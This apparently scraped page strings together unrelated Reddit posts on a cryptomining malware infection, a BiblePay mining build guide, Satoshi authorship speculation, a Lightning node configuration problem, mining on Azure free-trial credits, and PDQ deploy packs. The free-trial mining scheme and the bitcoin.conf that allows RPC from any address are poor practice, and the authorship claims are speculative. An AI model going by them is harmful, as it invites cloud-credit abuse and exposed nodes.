The infected file that Sophos caught was LMS.exe (not lsm.exe which is a legitimate executable) that was being created in the C:\WINDOWS\Fonts\ directory. If you've ever manually browsed to the Fonts directory you know that, whether you have file extensions hidden or not, Windows Explorer only shows the installed Fonts packages, and not the individual .tff files themselves. Because of this, LMS.exe was not visible when browsed to manually on the local server. We were able to see the LMS.exe file when we c$'d from a different server, but because Sophos was continually trying to Quarantine it (it was being auto-regenerated) we weren't ever able to see any Properties of it. So what was auto-recreating the file? A quick look into Task Manager showed that another executable, msiexev.exe (again, not msiexe.exe the legitimate file) was using between 80-90% of the CPU. Going to the Properties of that process led us to the C:\WINDOWS\security\ directory. After killing the process we were able to rename the file to msiexev.exe.old with no issues. However, after 5 minutes or so a new file of the exact same file size, 1,205KB, was created in its place. Rinse and repeat. If we let msiexev.exe run for roughly 15-20 seconds it would again spawn LMS.exe in the Font directory, and again Sophos would begin quarantining it in an endless game of cat and mouse.
By this time the AV scan we had begun roughly 30 minutes prior quarantined another executable - this time right on the root of the C:\WINDOWS\ directory. This executable was called wmsa.exe, and the timestamp was only 1 minute different (1:07 PM) than the timestamp of the original msiexev.exe (1:08 PM) Tuesday afternoon. This file was easily deleted, and has not been recreated since.
We were able to stop the process from spinning up again by creating a blank file named msiexev.exe in the C:\WINDOWS\security\ directory, giving a domain account ownership of the file, and then removing all Security permissions on the file. Since that time the malware appears unable to execute.
My questions is - has anyone else been faced with this malware? It appears that it is BitCoin mining malware. From the little documentation online I've been able to find it appears to be an exploit that's only vulnerable on Windows Server 2008 R2 boxes with Exchange 2010. If anyone else has any ideas on ways to prevent this or plug this hole I'm open to suggestions.
Thanks!
UPDATE: So after gettting up to the latest patch level (we were patched to the 17th when the infection happened) and having LMS.exe sitting in Quarantine waiting to be cleaned up on the next restart, we scheduled a planned reboot last night at 9 PM. After system restart we found the Sophos detected the malware was attempting to execute again sigh. We also located a new executable in C:\WINDOWS\prefetch\ labeled wuauser.exe along with two text files, history.txt and id.txt. Each of these text files contained a unique 32 character hex code, and nothing else. For those of you that legitimately mine BitCoin - are they relevant to anything? These files are all timestamped either 1:07 or 1:08 Tuesday afternoon, again, matching the time we believe we were initially infected.
We applied our "fix" to these files where we made a domain user the Owner of a blank file that was named identically and then removed all file permissions to them in hopes that they are unable to be regenerated. We also applied this same logic to the LMS.exe file in C:\WINDOWS\Fonts.
After doing all of this our AV console finally has marked that LMS.exe has been "cleaned up" and not just quarantined. I'm hopeful that this has stopped the spread/execution of this malware, but I'm still leery that the underlying exploit that got this installed on our system in the first place is still vulnerable. We'll continue monitoring over the weekend, and if there are any other major updates I'll be sure to update the thread.
submitted by willowshole5 to techsupport [link] [comments]

How to Mine BiblePay on Linux

This guide is outdated, please refer to:
https://wiki.biblepay.org/POBH_Setup
https://wiki.biblepay.org/PODC_Setup
 
 
 
 
 
 
 
 
IMPORTANT - Evolution Upgrade:
Quick Start https://wiki.biblepay.org/Quick_Start
Evolution Upgrade Information https://wiki.biblepay.org/Evolution_Upgrade
Getting Started with Evolution https://wiki.biblepay.org/Getting_Started_with_Evolution
Generic Smart Contracts https://wiki.biblepay.org/Generic_Smart_Contracts
What is BiblePay Evolution? https://www.reddit.com/BiblePay/comments/bifvpk/biblepay_evolution_what_is_it/
Recommend 2GB RAM or can get stuck compiling (if 1GB RAM can use Swap File) Use Ubuntu 16.04
INFO
https://github.com/biblepay/biblepay-evolution/blob/masteBuildBiblePay.txt
INSTALL COMMANDS
apt-get install build-essential libtool autotools-dev automake pkg-config libssl-dev libevent-dev bsdmainutils apt-get install libboost-system-dev libboost-filesystem-dev libboost-chrono-dev libboost-program-options-dev libboost-test-dev libboost-thread-dev apt-get install libqt5gui5 libqt5core5a libqt5dbus5 qttools5-dev qttools5-dev-tools libprotobuf-dev protobuf-compiler apt-get install git apt-get install curl build-essential libtool autotools-dev automake pkg-config python3 bsdmainutils cmake sudo add-apt-repository ppa:bitcoin/bitcoin sudo apt-get update sudo apt-get install libdb4.8-dev libdb4.8++-dev git clone http://github.com/biblepay/biblepay-evolution prefix=x86_64-pc-linux-gnu cd biblepay-evolution/depends make -j4 # Choose a good -j value, depending on the number of CPU cores available cd .. ./autogen.sh #Note: if echo `pwd` does not return your working directory, replace it with your working directory such as /biblepay-evolution/ ./configure --prefix `pwd`/depends/x86_64-pc-linux-gnu make # See more here: #https://github.com/biblepay/biblepay-evolution/blob/mastedoc/build-unix.md 

SWAP FILE
NOTE: if server is 1GB RAM, before running last command "sudo make", set up a swap file
free #check if swap is 0 dd if=/dev/zero of=/vaswap.img bs=1024k count=1000 mkswap /vaswap.img swapon /vaswap.img free #check if swap is 1024 sudo make 

RUN COMMAND LINE
cd src ./biblepayd -daemon 
OR
RUN GUI
Your GUI program will be located in: /biblepay-evolution/src/qt
./biblepay-qt 
You can also run it in the background (to free up your terminal) if you call it with:
./biblepay-qt & 
To start mining, instructions are the same as for Windows: Go to Tools -> Debug Console
Execute this command (to start mining with 8 threads)
setgenerate true 8 
From there you can use all other commands such as getmininginfo, getwalletinfo, etc. Execute help command to get the list of all available commands.
Note: GUI will be built automatically only if you meet the requirements for qt library, i.e. make sure you ran this line before compiling:
sudo apt-get install libqt5gui5 libqt5core5a libqt5dbus5 qttools5-dev qttools5-dev-tools libprotobuf-dev protobuf-compiler 
BIBLEPAY is now Running!

SETUP CONFIG
Stop BiblePay and set up the config file to get starting nodes to sync with and enable mining:
./biblepay-cli stop cd ~/.biblepayevolution/ vi biblepay.conf addnode=node.biblepay.org gen=1 genproclimit=1 
Escape Key + : (Colon Key) + w + q + Enter (saves file and quits)

addnode --- adds a node to the list of nodes to connect to gen=1 --- turns on mining genproclimit --- sets number of threads to use when mining

Run BiblePay again and fully sync with network
cd ../biblepay-evolution/src ./biblepayd -daemon ./biblepay-cli getinfo 

USEFUL COMMANDS
./biblepay-cli help ./biblepay-cli getaccountaddress "" ./biblepay-cli getinfo ./biblepay-cli getmininginfo ./biblepay-cli setgenerate true 8 ./biblepay-cli sendtoaddress "insertAddressHere" 777 "" "" true ./biblepay-cli stop ./biblepayd -daemon top #CPU usage q to quit 

MINING THREADS: To change number of threads to use up for mining
a. Edit home/yourusername/.biblepayevolution/biblepay.conf file:
genproclimit=X 
and restart BiblePay -or- b. Menu >> Tools >> Debug Console >> Type command:
setgenerate true X 
(Replace X with number of threads Use top command to view CPU usage)

POOL
NOTE: To use the pool you must now use the external miner, not the wallet miner https://whitewalr.us/2019/biblepay-nomp-pool-mining.html
  1. Set up an account on pool website: https://pool.biblepay.org/
  2. Create Worker Username(s) - Workers tab >>> Add
  3. Enable pool and add Worker Username in ~/.biblepayevolution/biblepay.conf file, add these lines and save:
    pool=https://pool.biblepay.org workerid=insertWorkerUsernameHere
4. Restart BiblePay
./biblepay-cli stop ./biblepayd -daemon 
Setup Auto-Withdraw Navigate to Account >>> Account Settings >>> Verify your BBP Receiving Address >>> Click Authorize-Auto-Withdraws

UPDATE:

### Turn off/stop BiblePay
cd /home/yourname/biblepay-evolution/src ./biblepay-cli stop 

### Pull down latest Biblepay code and build it
cd /home/yourname/biblepay-evolution git pull origin master sudo make 

### Turn BiblePay back on and check version number
cd src ./biblepayd -daemon ./biblepay-cli getinfo ./biblepay-cli setgenerate true 8 

UPDATE IN ONE COMMAND:
./biblepay-evolution/src/biblepay-cli stop ; cd && cd biblepay-evolution/ && git pull origin master && sudo make && cd src && ./biblepayd -daemon && sleep 90 && ./biblepay-cli getmininginfo 
Note: the ";" says do this after, regardless of the outcome Note: && says do this after only if previous command finished with no errors

SPEED UP COMPILE:
To speed up the compile time, add -j4 or -j8 after make. This way it compiles using 4 or 8 threads instead of just 1.
./configure LDFLAGS="-L${BDB_PREFIX}/lib/" CPPFLAGS="-I${BDB_PREFIX}/include/" sudo make -j8 
Reference: http://www.linux-databook.info/?page_id=2319

RSYNC stop biblepay from your nodes compile on your fastest machine then rsync with your machines only src folder is required
rsync -avuz /root/biblepay-evolution/src/ [email protected]:/root/biblepay-evolution/src/ 
https://stackoverflow.com/questions/3299951/how-to-pass-password-for-rsync-ssh-command https://www.thegeekstuff.com/2008/11/3-steps-to-perform-ssh-login-without-password-using-ssh-keygen-ssh-copy-id/
people make cron jobs and rsync automatically

OUTDATED

Unofficial Bash Script
https://gist.github.com/anonymous/d1c1d35e3c8f67f5fb2e204479fa5c6b

Official Ubuntu Package
https://launchpad.net/~biblepay-official

Unofficial Ubuntu Package
https://www.reddit.com/BiblePay/comments/7rwqqs/unofficial_ubuntu_packages_available/

Unofficial Mine in One Line
https://www.reddit.com/BiblePay/comments/7ryuk1/mine_in_one_line/
NOTE: DONT RUN ON A COMPUTER WITH COINS -- THIS IS A CLEAN INSTALL SCRIPT

COMPILE WITHOUT GUI: https://bitcointalk.org/index.php?topic=2042657.msg21878317#msg21878317 https://bitcointalk.org/index.php?topic=2042657.msg21878389#msg21878389
ADVANCED:

DOCKER IMAGES (NOTE: I havent tested these, use at your own risk) https://hub.docker.com/gagaha/biblepay/ https://hub.docker.com/cryptozero/biblepay-opt/
submitted by togoshige to BiblePay [link] [comments]

TESTING VIRTUAL MACHINES HELP New to this

Hello, I am new to this whole servers theme. In my work I have 4 virtual machines: 2 windows (2012 & 2008) 2 linux (ubuntu 14 & centos)
I have to test the performance of our servers versus other servers, I need some kind of software, code, web application (all free) that I can run to compare and test the servers. I have heard of bitcoin mining, etc. Please help. I am just starting with this infrastructure themes.
submitted by diegoescobar96 to servers [link] [comments]

New evidence that Dave Kleiman could have been the coder behind Bitcoin

TLDR: Evidence that Dave Kleiman (the dead partner of Wright) was also a Windows programmer with a very strong background on security.
He developed a product (called S-Lok) distributed by S-Doc as a security tool (a sort of hardening tool-kit)
At S-Doc, cryptography was heavily used to develop several products, broadly aimed at reliable and verifiable transmission of data and messages, centred around the idea of a an "unalterable, encrypted audit log system".
I think this paints Kleiman as a very plausible author of the first Bitcoin software
When the news that Craig Wright could have been Satoshi emerged, I purchased his book “The IT Regulatory and Standards Compliance Handbook” in order to search for clues that he was Satoshi.
I was disappointed. The book is published in 2008; more precisely, it says “this week” referring to February 2008 (p. 644), terefore when Satoshi would have been fully working on Bitcoin.
There book deals with other subjects, but there are several occasions where something bitcoin-like could have emerged. For example, all mentions to cryptography are rather vague (ok, the book’s subject does not require a LOT of crypto, but nevertheless...). Digital signatures are treated (they are generally called “electronic signatures”), but again nothing that echoes concepts that would return in Bitcoin.
So, no proof that he was NOT Satoshi, but no evidence that he had similar interests in that period, either.
I then started giving a look at the books authored by Dave Kleiman. There are a few, generally dealing with Windows security including one co-authored (among others) with Craig Wright.
Then I stumbled on his book “Winternals Defragmentation, Recovery, and Administration Field Guide” There is an interesting bio of Kleiman in that Amazon page, listing his titles, and containing:
He has developed a Windows Operating System lockdown tool, S-Lok (www.s-doc.com/products/slok.asp ), which surpasses NSA, NIST, and Microsoft Common Criteria Guidelines.
So, we now know that Kleiman was a security expert, was good at Windows security, and had written software for Windows.
The web site for the company seems down, but archive.org helps here:
https://web.archive.org/web/20080828130153/http://www.s-doc.com/products/slok.asp
This is a mirror of the page about the program written By Kleiman on the company’s site, taken in the months he was probably working on Bitcoin.
The software is described thus:
The S-LokTM system is a Comprehensive System Hardening Solution that dramatically enhances your OS security by appropriately altering your system registry, security database and file system ACL's.
(from its technical brochure )
Nothing too exciting here. A software related to security, but a quite boring one.
It gets more interesting when you start looking at the line of products that were being developed at s-Doc. This page lists a few PDFs about them: https://web.archive.org/web/20081121211338/http://www.s-doc.com/technical/technical.asp
mirrored in https://drive.google.com/folderview?id=0Bwr9mVDA8j3LU3ozYm9uOVpuSjA&usp=drive_web
Basically, it was a suite of products allowing cryptographically secure distribution of data and messages:
S-doc™ develops products that solve the most urgent business problems of the Information Age. They protect sensitive information during transport over an open network and when at rest during server storage
It’s nothing specifically bitcoin-like, but yet it’s an environment heavily imbued with cryptography:
The encryption algorithm (Triple DES, Skipjack or Rijndael/AES at a key length of 168, 96 and 128 bits, respectively), chosen at the time of system installation, is seeded by SITT using an RNG (Random Number Generator). Either a standard hardware white-noise generator or FIPS 186-2 approved pseudo-algorithm generates the unique encryption key for each and every transaction.
The core of the system seems to have been “an unalterable, encrypted audit log system”.
S-doc solutions include an unalterable, encrypted audit log system. All transaction activity and user access is available to authorized administrators, originators and compliance officers without exposing the underlying information.
(reminding of zero-knowledge proof)
What I also found interesting is the document about S-Doc's applications in finance and insurance: https://drive.google.com/file/d/0B4YULdyuY7PvR1JjdVhxNFAwdWs/view?pref=2&pli=1
Once again emphasis is placed on the “unalterable, encrypted audit log system” log.
In conclusion: There is of course no direct evidence of Bitcoin in the material, but it can be seen that S-Doc was a place where creative uses of cryptography were usual.
Also, concepts like “unalterable, encrypted audit log system” were common knowledge at S-Doc.
Dave Kleiman was an accomplished Windows programmer, with exactly the technical capabilities and the cultural history one would expect from the author of the Bitcoin software
I think he is by far the best candidate for this title.
Thanks, Dave
submitted by fbonomi to btc [link] [comments]

04-07 09:48 - 'Lightning node on Windows - testing, get not connected' (self.Bitcoin) by /u/Mr--Robot removed from /r/Bitcoin within 845-855min

'''
Ok after testing BTCPay, C-Lightning, LND on Ubuntu I said ok let's try also the Windows implementation, is just few clicks and done (as it is promoted).
So I followed this [github guide]1 that actually send you to [this one]2 .
OK, started Bitcoin-core client on Windows 7 x64, with an already synced data folder. Empty bitcoin.conf (none of guides says how to configure the conf file). Wait until the client is full synced. And then launched the windows-node-launcher (from a subfolder inside Bitcoin folder). All good, started slowly and a small popup appeared in systray saying Bitcoin node is syncing. Reviewed the config of Bitcoin and LND through that little app in systray and saw that bitcoin.conf was already filled with some settings. Didn't change anything. After 1 day (with the bitcoin blockchain already synced), the systray popup still says that is syncing and have a red dot. In the tutorial says that we have to leave it to sync until is blue and then green.
I said, ok maybe it has more things to do. So I open that LND Output link, to see what is going on... And I see that LND is not well. Says: 2019-04-06 21:11:29.772 [INF] LTND: Version: 0.6.0-beta commit=v0.6-beta-rc3, build=production, logging=default 2019-04-06 21:11:29.772 [INF] LTND: Active chain: Bitcoin (network=mainnet) 2019-04-06 21:11:29.774 [INF] CHDB: Checking for schema update: latest_version=8, db_version=8 2019-04-06 21:11:29.808 [INF] RPCS: password RPC server listening on 127.0.0.1:10009 2019-04-06 21:11:29.808 [INF] RPCS: password gRPC proxy started at 127.0.0.1:8080 2019-04-06 21:11:29.808 [INF] LTND: Waiting for wallet encryption password. Use lncli create to create a wallet, lncli unlock to unlock an existing wallet, or lncli changepassword to change the password of an existing wallet and unlock it. 2019-04-06 21:11:32.673 [INF] LNWL: Opened wallet 2019-04-06 21:11:33.183 [INF] LTND: Primary chain is set to: bitcoin unable to create chain control: unable to connect to bitcoind: unable to subscribe for zmq block events: dial tcp 127.0.0.1:18502: connectex: No connection could be made because the target machine actively refused it. 2019-04-06 21:11:36.087 [INF] LTND: Shutdown complete unable to connect to bitcoind: unable to subscribe for zmq block events: dial tcp 127.0.0.1:18502: connectex: No connection could be made because the target machine actively refused it. 2019-04-06 21:11:39.229 [INF] LTND: Version: 0.6.0-beta commit=v0.6-beta-rc3, build=production, logging=default
Now the bitcoin.conf have this: printtoconsole=1 rpcallowip=::/0 whitelist=0.0.0.0/0 datadir=C:\Users\Admin\AppData\Roaming\Bitcoin prune=0 txindex=1 server=1 disablewallet=0 timeout=6000 rpcuser=user rpcpassword=defaultxzxxxxx zmqpubrawblock=[link]3 zmqpubrawtx=[link]4 dbcache=2408
And LND.conf have this: (#) Auto-Generated Configuration File (#) Node Launcher version 6.0.2 debuglevel=info restlisten=127.0.0.1:8080 rpclisten=127.0.0.1:10009 tlsextraip=127.0.0.1 listen=127.0.0.1:9735 alias=aliasme color=#00aa7f bitcoin.active=1 bitcoin.node=bitcoind bitcoind.rpchost=127.0.0.1:8332 bitcoind.rpcuser=user bitcoind.rpcpass=defaultxxxxx bitcoind.zmqpubrawblock=[link]3 bitcoind.zmqpubrawtx=[link]4
So what is going on here? I will have to wait indefinitely? Somebody can give some help or explanation? Is this LND node working on Windows Server 2008 or 2012?
'''
Lightning node on Windows - testing, get not connected
Go1dfish undelete link
unreddit undelete link
Author: Mr--Robot
1: g*thub.c*m/light**ng**o*e*-users/no**-launc**r 2: me*ium.*o**lig*tn**g-p*wer-users/w*n**ws-m**os-l**ht*i*g-ne*work-2*4bd5034340 3: 127.0.0**:1*5*2 4: 127*0.0**:185*3 5: 1**.0.0*1:185*2 6: 12*.0**.1:*8503
Unknown links are censored to prevent spreading illicit content.
submitted by removalbot to removalbot [link] [comments]

[Guide] No hardware to mine? How to net 6,000+Ð/day using Windows Azure

Inspired by lleti 's free guide for using Amazon Web Services. However, from what I understand due to rental costs, it is more efficient to buy doge directly than use AWS. This guide is based on utilizing the $200 credit that comes with the Windows Azure cloud computing free trial, so you will not pay anything.
This is targeted at shibes with poor hardware that can only mine 50-200 doge per day, but it will work for everyone.
Disclaimer: Doge rate is an estimate based on current difficulties and market. Windows Azure trial may be US only (?)
Overview / How it works
You will not be mining doge directly with this method. Mining doge effeciently requires a GPU, which aren't found in traditional servers. Instead, we will be using the powerful CPUs provided with Windows Azure servers to mine a CPU based crypto-currency, such as QuarkCoin or SecureCoin, and convert those to doge.
Steps
1) Install your QRK or SRC wallet
Ideally if you are reading this, you have installed a dogecoin-qt wallet for yourself before. We will need to do the same for either QuarkCoin or SecureCoin. This is the wallet where will will send the coins you mine with your Windows Azure servers.
These are not the only CPU coin options, but QRK and SRC are very similar (same hash function) and simple to mine.
Once you have installed the wallet, it should look very similar to your DogeCoin wallet. If you have trouble downloading the blockchain ('out of sync'), look at these threads respectively to see which nodes you need to add to your config file. Config files are located at C:\Users\UserName\AppData\Roaming\CoinName.conf on Windows.
2) Set up a mining pool account
If you have joined a mining pool for DogeCoin, it will be a very similar experience for other alt coins. See the following bitcointalk threads which have a list of mining pools:
If you would like a pool recommendation, I can recommend src.coinmine.pl and qrk.coinmine.pl; this is from personal experience, I am not affiliated with them.
Once you are logged in you should also create 3 workers, as we will be setting up 3 servers, one for each server. So you should have 3 worker names, and a password set up for each worker.
3) Sign up for Windows Azure free trial
Link: www.windowsazure.com/en-us/pricing/free-trial/
You will have to provide a valid credit card and verify your account with a cell phone so they know you are a real person. This is a Microsoft product so they are reputable. Once you sign up, you will receive a $200 to use in 30 days. Remember to cancel when your credits are running out so they don't charge you.
4) Create Windows Server instances
I would recommend you watch this video which walks you through the UI of the Windows Azure management site to set up the virtual machines we need. Essentially we are going to do the following:
Thus we have a total of 20 CPU cores to mine QRK / SRC with. We want the the most CPU power we can get without excessively burning our $200 credit. That's why 2008 R2 is used, and only 3 instances of it.
5) Remotely connect to servers and download miner
This section is also covered in the video from section 4, watch it for a visual walkthrough.
Once the servers have been initialized on Microsoft's end, we should be able to access them under 'Virtual Machines' at www.manage.windowsazure.com. You should see each host name and a status, and when selected there should be an additional 'Connect' button - click it.
You should now be prompted to download a .rdp file. Download this for each of your 3 virtual machines to a folder you will remember. You will open this .rdp file and use the login credentials you previously specified to connect to each server.
Once you are remotely connected, you should see the desktop. Open up the first icon on the taskbar that looks like a server, this is your server manager. We need to open up the 'Configure IE ESC' setting that's visible on this pane. Make sure 'Off' is selected for both admins and users on the IE ESC configuration.
Now, open up the IE browser and navigate to https://docs.google.com/file/d/0B9cvOfoOekSdVzZZcThLZHg4bjA/edit. Press Ctrl + S to download the entire zip to the desktop, and un-zip it.
6) Configure and start miner
Again, this is pretty much covered in the video from section 4, if you prefer watching.
You should now have a folder on your server's desktop named quark-v2_w64. This is the miner for both QRK and SRC. We are going to be using minerd64_sse4.exe. Create a shortcut to minerd64_sse4.exe within the same folder. We now need to add the parameters for your miner.
Right click on your minerd64_sse4.exe shortcut -> Properties. Look at the target field, it should look like this:
C:\Users\UserName\Desktop\quark-v2_w64\minerd64_sse4.exe
We are going append the following format to this target field
-a quark -t 8 -o stratum+tcp://src.coinmine.pl:6020 -u user.worker -p password
-a: algorithm, both SRC and QRK use 'quark'
-t: number of cores (so either 8 or 4 for our purposes)
-o: mining pool information (url and port).
-u: account you have for your mining pool, then a period, then a worker name
-p: password that you created for the worker in step 2
So here is an example of what the target field of your shortcut should look like when you are done:
C:\Users\Nexic\Desktop\quark-v2_w64\minerd64_sse4.exe -a quark -t 8 -o stratum+tcp://src.coinmine.pl:6020 -u Nexic.worker1 -p pass1
7) Profit!!
If you set up your miners correctly on each Windows Server VM (I prefer to assign a separate worker to each one), you should be able to run them and see an output like this: http://i.imgur.com/3lECqSz.png. You can close your remote sessions without interrupting it.
How do you get the doge, you ask? Well, using the above setup I have earned 10 SecureCoins in the past 2 days. These are worth 0.00094 bitcoins (BTC) on Cryptsy at present. A doge is worth 0.0000007 BTC at present, so if I go from SRC -> BTC -> DOGE, I can turn 5 SRC to 6,642 DOGE on Cryptsy. There are also other exchanges, I won't go into how to exchange coins on this post. Remember, this is every day for about a week, for free!
Also, you can CPU mine on your own personal computers as well, not just the servers.
TL;DR
Mine QuarkCoin / SecureCoin using Windows Azure free trial, use Cryptsy (or other exchange) to convert to DOGE. Much more efficient than CPU mining Doge.
submitted by Nexic to dogecoin [link] [comments]

PDQ Deploy packs v40.0 (2016-03-23) // full refresh

This is v40.0 (v39.0, v38.0, v37.0, etc...) of our PDQ installers and includes all installers from the previous package with old versions removed.
All packages:
  1. install silently and don't place desktop or quicklaunch shortcuts
  2. disable every auto-update, nag popup and stat-collection feature I can find
  3. work with the free or paid version of PDQ Deploy, but don't require either - each package can run standalone (e.g. from a thumb drive) or pushed with SCCM/GPO/etc if desired

Download

Primary method: Plug one of these keys into BT Sync to pull down that repository:
- BTRSRPF7Y3VWFRBG64VUDGP7WIIVNTR4Q (Installer Packages, roughly 1.84 GB) - BMHHALGV7WLNSAPIPYDP5DU3NDNSM5XNC (WSUS Offline updates, roughly 11.20 GB) 
  1. Make sure the settings for your Sync folder look like this (or this if you're on v1.3.x). Specifically you need to enable DHT.
  2. Import all .XML files from the \job files directory into PDQ deploy (It should look roughly like this after you've imported them).
  3. Copy all files from the \repository directory to wherever your repository is.
  4. All jobs reference PDQ's $(Repository) variable, so as long as you've set that in preferences you're golden.
Alternate method: (static pack; does not auto-update)
Mirror HTTPS HTTP Location Host
Official link link US-NY SGC-Hosting
#1 link link FR mxmod
#2 --- link DE repa82

Package list:

Installers:
(Updates in bold. All installers are 64-bit unless otherwise marked)
  • 7-Zip v15.14
  • 7-Zip v15.14 (x86)
  • Adobe Acrobat Reader DC v2015.010.20056
  • Adobe AIR v21.0.0.176
  • Adobe Flash Player v21.0.0.197 (Firefox)
  • Adobe Flash Player v21.0.0.197 (IE / ActiveX)
  • Adobe Reader XI v11.0.15
  • Adobe Shockwave v12.2.4.194
  • CDBurnerXP v4.5.6.6059
  • CutePDF v3.0 (PDF printer) (x86)
  • FileZilla Client v3.15.1
  • Gimp v2.8.16 (x86)
  • Google Chrome Enterprise v49.0.2623.87
  • Google Chrome Enterprise v49.0.2623.87 (x86)
  • Google Earth v7.1.5.1557
  • Java Development Kit 6 Update 45
  • Java Development Kit 6 Update 45 (x86)
  • Java Development Kit 7 Update 80
  • Java Development Kit 7 Update 80 (x86)
  • Java Development Kit 8 Update 77
  • Java Development Kit 8 Update 77 (x86)
  • Java Runtime 6 update 81
  • Java Runtime 6 update 81 (x86)
  • Java Runtime 7 update 80
  • Java Runtime 7 update 80 (x86)
  • Java Runtime 8 update 77
  • Java Runtime 8 update 77 (x86)
  • KTS KypM Telnet/SSH Server v1.19c (x86)
  • Microsoft .NET Framework v3.5.1 SP1 (x86)
  • Microsoft Silverlight v5.1.40416.0
  • Microsoft Silverlight v5.1.40416.0 (x86)
  • Mozilla Firefox v45.0.1 (x86)
  • Mozilla Thunderbird v38.7.0 (customized; read notes) (x86)
  • Notepad++ v6.9.0 (x86)
  • Pale Moon v26.1.1 (x86)
  • Spark v2.7.6 (x86)
  • TightVNC v2.7.10
  • TightVNC v2.7.10 (x86)
  • UltraVNC v1.2.0.9 (x86)
  • VLC media player v2.2.2 (x86)
  • WinSCP v5.7.7 (x86)
Utilities:
  • Clean Up ALL Printers (purge all printers from target)
  • Clean Up Orphaned Printers (remove non-existent printers from the spooler)
  • Empty All Recycle Bins (force all recycle bins to empty on target)
  • Enable Remote Desktop
  • Install PKI Certificates
  • Orbital Cached Profile Nuker deletes cached logons from the target older than a specified number of days
  • Reboot (force target reboot in 15 seconds)
  • Remove Adobe Flash Player v1.1.1 (removes all versions)
  • Remove Java Runtime (removes JRE versions 3-8)
  • Temp File Cleanup
  • USB Device Cleanup. Uninstalls non-present USB hubs, USB storage devices and their storage volumes, Disks, CDROMs, Floppies, WPD devices and deletes their registry items. Devices will re-initialize at next connection
Microsoft Offline Updates: optional, installs Microsoft patches current to release date
  • Windows 10 & Server 2016 (x64)
  • Windows 8.1 & Server 2012 R2 (x64)
  • Windows 7 & Server 2008 R2 (x64)
  • Windows Server 2003 (x86)
  • Office 2007/2010/2013

Package Notes:

  1. Read the notes in PDQ for each package, they explain what it does. Basically, if there is a .bat file with a job, it makes some customizations. You can edit the batch files to see what they do; most of them just delete "All Users" desktop icons and stuff like that. changelog-v##-updated-.txt has version and release history information.
  2. Thunderbird:
    • Our customized Thunderbird uses a global config file stored on a network share. This lets us change Thunderbird settings en masse if necessary. By default the clients are configured to check for updates to the config every 120 minutes.
    • You can change the location of the config, change the update frequency, OR disable the behavior entirely by tweaking the file thunderbird-custom-settings.js.
    • A copy of the config file is in the Thunderbird directory and is called thunderbird-global-settings.js
    • If you don't want any customizations, just edit Thunderbird's .bat file and comment out all the lines except for the one that installs Thunderbird.
  3. Microsoft Offline Updates - built using the excellent WSUS Offline tool. Please donate to them if you can spare a couple bucks, their team does excellent work.

Integrity

In the folder \integrity verification the file checksums.txt is signed with my PGP key (0x07d1490f82a211a2, pubkey included). You can use this to verify package integrity.
If you find a bug or glitch, PM me or post it here. Community input is helpful and appreciated.
Donation address (bitcoin): 1LSJ9qDzuHyRx6FfbUmHVSii4sLU3sx2TF
Quiet Professionals
submitted by vocatus to sysadmin [link] [comments]

PDQ Deploy packs v39.0 (2016-01-22) // full refresh

This is v39.0 (v38.0, v37.0, v36.0, etc...) of our PDQ installers and includes all installers from the previous package with old versions removed.
All packages:
  1. install silently and don't place desktop or quicklaunch shortcuts
  2. disable every auto-update, nag popup and stat-collection feature I can find
  3. work with the free or paid version of PDQ Deploy, but don't require either - each package can run standalone (e.g. from a thumb drive) or pushed with SCCM/GPO/etc if desired

Download

Primary method: Plug one of these keys into BT Sync to pull down that repository:
- BTRSRPF7Y3VWFRBG64VUDGP7WIIVNTR4Q (Installer Packages, roughly 1.84 GB) - BMHHALGV7WLNSAPIPYDP5DU3NDNSM5XNC (WSUS Offline updates, roughly 11.20 GB) 
  1. Make sure the settings for your Sync folder look like this (or this if you're on v1.3.x). Specifically you need to enable DHT.
  2. Import all .XML files from the \job files directory into PDQ deploy (It should look roughly like this after you've imported them).
  3. Copy all files from the \repository directory to wherever your repository is.
  4. All jobs reference PDQ's $(Repository) variable, so as long as you've set that in preferences you're golden.
Alternate method: (static pack; does not auto-update)
Mirror HTTPS HTTP Location Host
Official link link US-NY SGC-Hosting
#1 link link FR mxmod
#2 --- link DE repa82

Package list:

Installers:
(Updates in bold. All installers are 64-bit unless otherwise marked)
  • 7-Zip v15.14
  • 7-Zip v15.15 (x86)
  • Adobe Acrobat Reader DC v2015.010.20056
  • Adobe AIR v20.0.0.233
  • Adobe Flash Player v20.0.0.286 (Firefox)
  • Adobe Flash Player v20.0.0.286 (IE / ActiveX)
  • Adobe Reader XI v11.0.14
  • Adobe Shockwave v12.2.3.183
  • CDBurnerXP v4.5.6.5931
  • CutePDF v3.0 (PDF printer) (x86)
  • FileZilla Client v3.14.1
  • Gimp v2.8.16 (x86)
  • Google Chrome Enterprise v48.0.2564.82
  • Google Chrome Enterprise v48.0.2564.82 (x86)
  • Google Earth v7.1.5.1557
  • Java Development Kit 6 Update 45
  • Java Development Kit 6 Update 45 (x86)
  • Java Development Kit 7 Update 80
  • Java Development Kit 7 Update 80 (x86)
  • Java Development Kit 8 Update 72
  • Java Development Kit 8 Update 72 (x86)
  • Java Runtime 6 update 81
  • Java Runtime 6 update 81 (x86)
  • Java Runtime 7 update 80
  • Java Runtime 7 update 80 (x86)
  • Java Runtime 8 update 72
  • Java Runtime 8 update 72 (x86)
  • KTS KypM Telnet/SSH Server v1.19c (x86)
  • Microsoft .NET Framework v3.5.1 SP1 (x86)
  • Microsoft Silverlight v5.1.40416.0
  • Microsoft Silverlight v5.1.40416.0 (x86)
  • Mozilla Firefox v43.0.4 (x86)
  • Mozilla Thunderbird v38.5.1 (customized; read notes) (x86)
  • Notepad++ v6.8.8 (x86)
  • Pale Moon v25.7.3 (x86)
  • Spark v2.7.5 (x86)
  • TightVNC v2.7.10
  • TightVNC v2.7.10 (x86)
  • UltraVNC v1.2.0.9 (x86)
  • VLC media player v2.2.1 (x86)
  • WinSCP v5.7.6 (x86)
Utilities:
  • Clean Up ALL Printers (purge all printers from target)
  • Clean Up Orphaned Printers (remove non-existent printers from the spooler)
  • Empty All Recycle Bins (force all recycle bins to empty on target)
  • Enable Remote Desktop
  • Install PKI Certificates
  • Orbital Cached Profile Nuker deletes cached logons from the target older than a specified number of days
  • Reboot (force target reboot in 15 seconds)
  • Remove Adobe Flash Player v1.1.1 (removes all versions)
  • Remove Java Runtime (removes JRE versions 3-8) - updated to v1.8.1
  • Temp File Cleanup
  • USB Device Cleanup. Uninstalls non-present USB hubs, USB storage devices and their storage volumes, Disks, CDROMs, Floppies, WPD devices and deletes their registry items. Devices will re-initialize at next connection
Microsoft Offline Updates: optional, installs Microsoft patches current to release date
  • Windows 10 & Server 2016 (x64)
  • Windows 8.1 & Server 2012 R2 (x64)
